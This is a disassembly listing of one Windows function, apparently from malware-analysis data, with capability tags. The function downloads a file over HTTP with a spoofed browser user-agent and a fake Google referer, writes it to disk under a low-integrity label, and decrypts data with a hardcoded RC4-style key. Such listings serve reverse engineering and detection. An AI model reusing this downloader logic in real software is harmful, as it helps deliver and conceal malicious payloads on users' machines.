Function at 0x10014ab0
Capabilities:
Check http status code
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
xor esi, esi
push edi
push 0xff
mov edi, eax
lea eax, [ebp - 0x127]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x20], esi
mov dword [ebp - 8], esi
mov byte [ebp - 0x128], 0
call sub.MSVCRT.dll_memset
xor ecx, ecx
add esp, 0xc
mov word [ebp - 0x28], cx
cmp edi, esi
je 0x10014f75
cmp dword [ebp + 0xc], esi
je 0x10014f75
cmp dword [ebp + 0x20], esi
je 0x10014bb0
mov eax, dword [ebp + 0x1c]
xor ebx, ebx
test eax, eax
je 0x10014b49
lea esi, [eax + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x10014b46
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov esi, dword [ebp - 8]
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x10014f75
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x18]
push edx
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor eax, eax
mov word [ebp - 0x28], 1
xor ecx, ecx
nop
mov byte [ebp + ecx - 0x128], cl
inc ecx
cmp ecx, 0x100
jl 0x10014b70
xor esi, esi
mov cl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + esi - 0x128], cl
inc eax
cmp eax, 0xf
jl 0x10014b97
xor eax, eax
inc esi
cmp esi, 0x100
jl 0x10014b82
mov edx, dword [ebp + 0x1c]
push ebx
push ebx
lea eax, [ebp - 0x128]
call fcn.10018160
mov edx, dword [ebp + 8]
push 0x4000000
push 0
push 0
push edx
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp + 8], eax
test eax, eax
je 0x10014f1a
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10014f1a
mov esi, dword [ebp + 0x14]
mov eax, 0x10049460
test esi, esi
je 0x10014c03
mov eax, str.POST
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
push 1
push 0
push 0
push 0
push str.HTTP_1.0
push ecx
push eax
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 4], eax
test eax, eax
je 0x10014f1a
mov ebx, dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
cmp esi, 1
jne 0x10014c4e
cmp dword [ebp + 0x24], 0
jne 0x10014c4e
push 0x20000000
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded_r_n
mov esi, eax
push esi
call ebx
jmp 0x10014c51
mov esi, dword [ebp - 4]
push 0x20000000
push 0xffffffffffffffff
push str.Referer:_http:__www.google.com_r_n
push esi
call ebx
cmp dword [ebp + 0x24], 0
je 0x10014c96
push 0x10059c60
push str.Content_Type:_multipart_form_data__boundary____________________________s_r_n
lea eax, [ebp - 0x230]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 0x20000000
push 0xffffffffffffffff
lea ecx, [ebp - 0x230]
push ecx
push esi
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10014ca0
mov eax, dword [ebp + 0x18]
mov edx, dword [ebp + 0x1c]
push edx
push eax
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x10014f1a
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x20000013
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10014f1a
cmp dword [ebp - 0x14], 0xc8
jne 0x10014f1a
mov esi, dword [ebp + 0x10]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push esi
mov dword [ebp - 8], 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10014f1a
call fcn.10025930
test eax, eax
je 0x10014d76
push 0
lea ecx, [ebp + 0xc]
push ecx
push 1
push str.S:_ML__NRNWNX___LW_
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x10014d76
lea edx, [ebp + 0x24]
push edx
mov edx, dword [ebp + 0xc]
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp + 0x18]
push ecx
push edx
mov dword [ebp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x10014d6c
mov eax, dword [ebp + 0x1c]
push eax
push 0
push 0
push 0
push 0x10
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x1010
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10014e5a
push 0x1010
push 0
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp + 0x20]
push edx
push 0x1000
push esi
push eax
mov dword [ebp + 0x20], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10014e3e
mov eax, dword [ebp + 0x20]
test eax, eax
je 0x10014e3e
push 1
push 0
push 0
push ebx
mov edi, eax
mov dword [ebp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push edi
push 0
push eax
push ebx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [ebp + 0x1c]
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp + 0xc]
push 0
push edi
push 0
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10014d76
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10014d76
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10014e5a
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x10014e81
lea eax, [ebp + 0x1c]
push eax
push ebx
mov dword [ebp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10014e81
test byte [ebp + 0x1c], 2
jne 0x10014e81
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp + 0x10]
push 0
lea ecx, [ebp - 0x18]
push ecx
mov eax, ebx
call fcn.100074a0
mov esi, eax
test esi, esi
je 0x10014f20
xor eax, eax
mov word [ebp - 0x28], 1
xor ecx, ecx
jmp 0x10014eb0
mov byte [ebp + ecx - 0x128], cl
inc ecx
cmp ecx, 0x100
jl 0x10014eb0
xor ecx, ecx
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x128], dl
inc eax
cmp eax, 0xf
jl 0x10014ed7
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10014ec2
mov edx, dword [ebp - 0x18]
push esi
push esi
lea eax, [ebp - 0x128]
call fcn.10018160
mov eax, dword [ebp - 0x18]
push eax
push esi
mov eax, ebx
call fcn.10007350
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10014f20
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10014f20
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [ebp - 0xc]
test esi, esi
je 0x10014f43
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10014f43
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x10014f55
mov ecx, dword [ebp - 4]
push ecx
call esi
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x10014f5f
push eax
call esi
mov eax, dword [ebp + 8]
test eax, eax
je 0x10014f69
push eax
call esi
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20